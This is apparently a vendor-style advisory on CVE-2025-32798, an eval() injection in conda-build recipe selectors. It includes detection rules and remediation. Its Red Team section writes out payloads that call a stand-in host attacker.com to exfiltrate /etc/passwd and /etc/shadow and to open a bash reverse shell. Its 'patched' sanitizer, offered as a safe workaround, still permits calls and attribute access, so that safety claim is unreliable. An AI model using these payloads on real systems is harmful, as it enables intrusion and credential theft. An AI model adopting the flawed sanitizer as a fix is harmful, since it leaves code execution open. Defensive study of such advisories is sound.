CVE-2025-32798

Executive Summary

CVE-2025-32798 is a critical arbitrary code execution vulnerability in Anaconda's conda-build tool, affecting versions prior to 25.4.0. The vulnerability stems from the unsafe use of Python's eval() function to process embedded selectors in meta.yaml recipe files. An attacker can craft a malicious meta.yaml file that, when processed by conda-build, executes arbitrary code in the build environment. This compromises the integrity of the build process and can lead to unauthorized commands or file operations. The vulnerability has been patched in version 25.4.0 by replacing the eval() call with a safe parser.

Supply Chain & Package Security

This vulnerability is critical for the Python/Anaconda ecosystem. Conda-build is a core tool for building conda packages, which are widely used in data science, machine learning, and scientific computing. A malicious package built with a crafted meta.yaml can execute arbitrary code during the build process, potentially compromising the build server, injecting backdoors into the resulting package, or exfiltrating sensitive data. This represents a significant supply chain risk, as compromised packages can be distributed to end users.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely by providing a malicious meta.yaml file.
• Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to supply a crafted recipe.
• Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action beyond processing the recipe.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High – The build process can be manipulated to produce malicious packages.
• Availability (A): High – The build environment can be disrupted or destroyed.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in supply chain attacks.

Deep Dive & Mechanics

The vulnerability resides in the recipe processing logic of conda-build. When parsing meta.yaml files, conda-build uses Python's built-in eval() function to evaluate embedded selectors. Selectors are conditional expressions that control which parts of a recipe are used based on platform, Python version, or other variables. For example:

requirements:
  run:
    - numpy [py>=36]

The [py>=36] part is a selector. Conda-build evaluates this using eval(), which interprets the expression as Python code. An attacker can inject arbitrary Python code into a selector, such as:

requirements:
  run:
    - numpy [__import__('os').system('id')]

When conda-build processes this recipe, it calls eval("__import__('os').system('id')"), which executes the id command on the build server.

The core issue is that eval() is designed to evaluate arbitrary Python expressions, and conda-build passes user-controlled input directly to it without sanitization. This violates the principle of least privilege and creates a direct code execution pathway.

Vulnerable vs. Patched Code

Vulnerable Code (conda-build < 25.4.0):

# In conda_build/metadata.py or similar
def eval_selector(selector_string):
    # UNSAFE: Directly evaluates user input
    return eval(selector_string)

Patched Code (conda-build >= 25.4.0):

# In conda_build/metadata.py or similar
import ast

def eval_selector(selector_string):
    # SAFE: Parse the expression and evaluate only allowed operations
    try:
        tree = ast.parse(selector_string, mode='eval')
        # Validate the AST to only allow safe operations
        for node in ast.walk(tree):
            if not isinstance(node, (ast.Expression, ast.Compare, ast.BoolOp, ast.Name, ast.Constant, ast.Attribute, ast.Call)):
                raise ValueError("Unsafe selector expression")
        # Evaluate using a restricted environment
        return eval(compile(tree, '<string>', 'eval'), {"__builtins__": {}}, {})
    except Exception as e:
        raise ValueError(f"Invalid selector: {e}")

The patched code uses ast.parse() to parse the selector into an Abstract Syntax Tree (AST), then validates that only safe operations (comparisons, boolean operations, names, constants, attributes, and calls) are present. It then evaluates the compiled AST in a restricted environment with no builtins, preventing arbitrary code execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target system running conda-build < 25.4.0.
• Ability to supply a malicious meta.yaml file (e.g., via a pull request, package upload, or direct file write).

Exploitation Steps:

1. Create a malicious meta.yaml file with an embedded selector containing arbitrary code:

package:
  name: malicious-package
  version: 1.0.0

requirements:
  run:
    - python [__import__('os').system('curl http://attacker.com/exfil?data=$(cat /etc/passwd)')]

2. Trigger conda-build on this recipe:

conda-build malicious-package/

3. The eval() function executes the injected code, which exfiltrates /etc/passwd to the attacker's server.

Advanced Payloads:

• Reverse shell: [__import__('os').system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')]
• File write: [__import__('os').system('echo "malicious" > /tmp/backdoor')]
• Data exfiltration: [__import__('os').system('curl http://attacker.com/$(cat /etc/shadow)')]

Blue Team

Detection Steps:

1. Monitor conda-build processes: Look for unexpected child processes spawned by conda-build (e.g., curl, bash, nc).

2. Audit meta.yaml files: Scan for suspicious selectors containing __import__, os.system, subprocess, or other dangerous functions.

3. Network monitoring: Detect outbound connections from build servers to unknown IPs or domains.

4. File integrity monitoring: Watch for unauthorized modifications to build artifacts or system files.

Hunting Query (Splunk):

index=main sourcetype=syslog process_name=conda-build
| search "eval" OR "meta.yaml" OR "selector"
| table _time, host, process_name, command

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • Malicious meta.yaml with embedded code: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • (Note: This is a placeholder; actual hashes depend on the payload)

• Network Indicators:

  • Outbound connections to attacker-controlled IPs/domains during build.
  • Unusual DNS queries for exfiltration domains.

• Process Indicators:

  • Child processes of conda-build: curl, wget, bash, python -c, nc, ncat.
  • Unexpected file writes in /tmp/ or build directories.

• File System Indicators:

  • Modified meta.yaml files with eval()-like patterns.
  • Presence of __import__ or os.system in recipe files.

Detection Engineering

YARA Rule

rule CVE_2025_32798_Conda_Build_Eval_Injection {
    meta:
        description = "Detects malicious meta.yaml files exploiting CVE-2025-32798"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32798"
        severity = "critical"

    strings:
        $eval_pattern = /\[.*__import__.*\]/ nocase
        $os_system = /\[.*os\.system.*\]/ nocase
        $subprocess_call = /\[.*subprocess\..*\]/ nocase
        $dangerous_func = /\[.*(exec|eval|compile|open|__builtins__).*\]/ nocase

    condition:
        any of ($eval_pattern, $os_system, $subprocess_call, $dangerous_func)
}

Sigma Rule

title: CVE-2025-32798 - Conda-Build Eval Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious selectors in meta.yaml files indicating exploitation of CVE-2025-32798
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32798
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: 'meta.yaml'
        # Look for dangerous patterns in the file content
        # This requires file content monitoring (e.g., Sysmon Event ID 11 with file content)
        # For simplicity, we use a generic pattern
        # In practice, use a file content rule or EDR with YARA integration
    condition: selection
falsepositives:
    - Legitimate use of selectors with safe expressions (rare)
level: critical
tags:
    - attack.t1190
    - cve.2025.32798

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32798 - Conda-Build Eval Injection Attempt"; flow:to_server; content:"meta.yaml"; http_uri; content:"__import__"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade conda-build: Update to version 25.4.0 or later:

   conda update conda-build
   

2. Restrict build environments: Run conda-build in isolated containers (Docker, LXC) with minimal privileges.

3. Audit existing recipes: Scan all meta.yaml files for suspicious selectors using the provided YARA rule.

4. Network segmentation: Ensure build servers cannot initiate outbound connections to the internet.

Long-term Mitigations:

1. Input validation: Implement strict validation of all recipe files before processing.

2. Least privilege: Run build processes as non-root users with read-only access to most of the filesystem.

3. Monitoring: Deploy the provided detection rules to alert on exploitation attempts.

4. Supply chain security: Sign and verify all conda packages to ensure integrity.

Workaround (if patching is not immediately possible):

• Manually patch the vulnerable eval() call by replacing it with a safe parser (see patched code example).
• Use a custom wrapper script that validates meta.yaml files before passing them to conda-build.

Valters IT
Securing the digital frontier, one CVE at a time.